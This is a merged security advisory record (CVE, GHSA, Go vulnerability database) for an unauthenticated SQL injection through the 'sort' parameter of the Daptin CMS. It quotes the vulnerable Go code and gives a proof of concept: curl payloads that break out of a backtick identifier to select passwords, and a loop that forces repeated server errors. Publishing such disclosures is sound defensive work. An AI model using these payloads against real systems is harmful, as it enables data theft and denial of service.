{"id":"CVE-2026-77367","aliases":["CVE-2026-77367","GHSA-hq2p-f2vj-v3cm","GO-2026-7012"],"related":[],"kind":"vulnerability","state":"published","title":"Daptin: Unauthenticated SQL Injection via the `sort` query parameter on every entity list endpoint","summary":"Daptin is a GraphQL/JSON-API headless CMS. Prior to 0.12.30, the generic GET /api/{entity} list endpoint accepts attacker-controlled sort values in PaginatedFindAllWithoutFilters in server/resource/resource_findallpaginated.go without validating the requested column against the table schema. The code uses those values for SELECT and ORDER BY identifier construction, so an embedded identifier quote can terminate the quoted identifier and make the remainder parse as SQL, allowing an unauthenticated attacker to extract unauthorized table data through blind or error-based behavior or repeatedly trigger query failures. This issue is fixed in version 0.12.30.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Daptin is a GraphQL/JSON-API headless CMS. Prior to 0.12.30, the generic GET /api/{entity} list endpoint accepts attacker-controlled sort values in PaginatedFindAllWithoutFilters in server/resource/resource_findallpaginated.go without validating the requested column against the table schema. The code uses those values for SELECT and ORDER BY identifier construction, so an embedded identifier quote can terminate the quoted identifier and make the remainder parse as SQL, allowing an unauthenticated attacker to extract unauthorized table data through blind or error-based behavior or repeatedly trigger query failures. This issue is fixed in version 0.12.30.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nAn unauthenticated attacker can inject arbitrary SQL through the `sort` query parameter accepted by\nDaptin's generic entity list endpoint (`GET /api/<entity>`), which every table in a Daptin instance\nexposes. The parameter is concatenated into raw SQL identifiers with no validation that the\nreferenced column exists, unlike a sibling code path in the same file that received exactly this\nvalidation as the fix for a previously published advisory\n([GHSA-rw2c-8rfq-gwfv](https://github.com/daptin/daptin/security/advisories/GHSA-rw2c-8rfq-gwfv)).\nImpact ranges from unauthenticated denial of service (a single crafted request 500s the query) to\nblind/error-based extraction of data from tables the requester has no permission to read.\n\n### Details\n\n`PaginatedFindAllWithoutFilters` in `server/resource/resource_findallpaginated.go` reads the `sort`\nquery parameter directly from the request with no validation:\n\n```go\n// server/resource/resource_findallpaginated.go:300-302\nvar sortOrder []string\nif len(req.QueryParams[\"sort\"]) > 0 {\n    sortOrder = req.QueryParams[\"sort\"]\n```\n\nEach entry is then concatenated with the table name and passed to `goqu.I()` (goqu's raw SQL\n*identifier* constructor) in two separate places, with no check that the referenced column exists\non the table:\n\n```go\n// server/resource/resource_findallpaginated.go:435-449 (SELECT column list)\nfor _, sort := range sortOrder {\n    ...\n    if strings.Index(sort, \"(\") == -1 {\n        sort = prefix + sort\n    }\n    idQueryCols = append(idQueryCols, goqu.I(sort).As(strings.ReplaceAll(sort, \".\", \"_\")))\n}\n```\n\n```go\n// server/resource/resource_findallpaginated.go:916-943 (ORDER BY clause)\nfor _, so := range sortOrder {\n    ...\n    orders = append(orders, goqu.I(ord).Asc())\n}\n```\n\n`goqu.I()` renders its argument by wrapping it in the dialect's quote character (a backtick, in\nthis build's configured dialect) **without escaping an embedded quote character of the same kind**.\nA backtick supplied in `sort` closes the identifier early, and the remainder of the attacker string\nis parsed as raw SQL grammar rather than treated as inert column-name text.\n\nThis is the same bug class as GHSA-rw2c-8rfq-gwfv (\"SQL injection via unvalidated `goqu.L()` calls\nin aggregate API\", CWE-89, fixed in v0.11.4). That fix added an allow-list check a few hundred lines\nlater in the same file, in the fuzzy-search code path:\n\n```go\n// server/resource/resource_findallpaginated.go:1491-1505\n// Validate each column against table schema (prevents SQL injection via goqu.L)\ntableInfo := dbResource.tableInfo\nvar validColumns []string\nfor _, col := range columns {\n    if _, ok := tableInfo.GetColumnByName(col); ok {\n        validColumns = append(validColumns, col)\n    } else {\n        log.Warnf(...)\n    }\n}\n```\n\nThe identical validation was never applied to the base `sort` parameter handling earlier in the\nsame file. Unlike fuzzy search (which requires an explicit `filter` operator to reach), plain `sort`\nis processed on every list request to every entity, authenticated or not.\n\n### PoC\n\nBuild current HEAD and run it with a fresh SQLite database and no custom schema:\n\n```bash\ngo build -buildvcs=false -o daptin_bin .\n./daptin_bin\n```\n\nNo account needs to exist. `world` (and most default tables) are guest-readable, so all requests\nbelow are sent with **no `Authorization` header at all**:\n\n```bash\n# 1) Reflection -- proves raw, unsanitized concatenation\ncurl -s -G \"http://localhost:6336/api/world\" --data-urlencode 'sort=email\" --'\n# => {\"errors\":[{\"status\":\"500\",\"title\":\"no such column: world.email\\\" --\"}]}\n\n# Server log shows the exact constructed query:\n# SELECT distinct(user_account.id), `user_account`.`email\" --` AS `user_account_email\" --`\n#   FROM `user_account` LEFT JOIN ... WHERE (...) ORDER BY `user_account`.`email\" --` ASC LIMIT ? == [10]\n\n# 2) Backtick breakout -- proves the payload is parsed as SQL grammar, not literal text\ncurl -s -G \"http://localhost:6336/api/user_account\" \\\n    --data-urlencode 'sort=id`,(select password from user_account limit 1)'\n# => {\"errors\":[{\"status\":\"500\",\"title\":\"near \\\"``\\\": syntax error\"}]}\n\n# 3) Zero credentials, reliable across repeated attempts\nfor i in 1 2 3; do\n  curl -s -o /dev/null -w \"%{http_code}\\n\" -G \"http://localhost:6336/api/world\" \\\n      --data-urlencode 'sort=`x'\ndone\n# => 500 / 500 / 500\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"Daptin: Unauthenticated SQL Injection via the `sort` query parameter on every entity list endpoint in github.com/daptin/daptin","format":"markdown","source":"go"}],"published":"2026-11-19T16:30:57.487Z","modified":"2026-11-23T20:41:17.932Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H","score":9.4,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H","score":9.4,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H","score":9.4,"rating":"CRITICAL"}],"cwes":["CWE-20","CWE-89"],"affected":[{"ranges":[{"version":"< 0.12.30","status":"affected"}],"vendor":"daptin","product":"daptin","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.12.30"}],"ecosystem":"Go","package":"github.com/daptin/daptin","purl":"pkg:golang/github.com/daptin/daptin","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.12.30"}],"ecosystem":"Go","package":"github.com/daptin/daptin","purl":"pkg:golang/github.com/daptin/daptin","source":"go"}],"references":[{"url":"https://github.com/daptin/daptin/security/advisories/GHSA-hq2p-f2vj-v3cm","tags":["advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/daptin/daptin/commit/b0bcc1318832b9055781f032853ef9d2264652cf","tags":["fix","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/daptin/daptin/releases/tag/v0.12.30","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77367","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/daptin/daptin","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-11-19T20:29:46.838Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-77367","url":"https://www.cve.org/CVERecord?id=CVE-2026-77367","licence":"CVE Terms of Use","modified":"2026-11-19T20:42:14.036Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hq2p-f2vj-v3cm","url":"https://github.com/advisories/GHSA-hq2p-f2vj-v3cm","licence":"CC-BY-4.0","modified":"2026-11-23T20:41:17.932Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-7012","url":"https://pkg.go.dev/vuln/GO-2026-7012","licence":"CC-BY-4.0","modified":"2026-11-23T20:30:16.349Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-77367","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77367","licence":"Public domain","modified":"2026-11-19T21:18:04.470Z"}],"updatedAt":"2026-11-25T22:59:52.151Z","epss":{"score":0.02341,"percentile":0.84083,"date":"2026-12-01T12:00:22.000Z"}}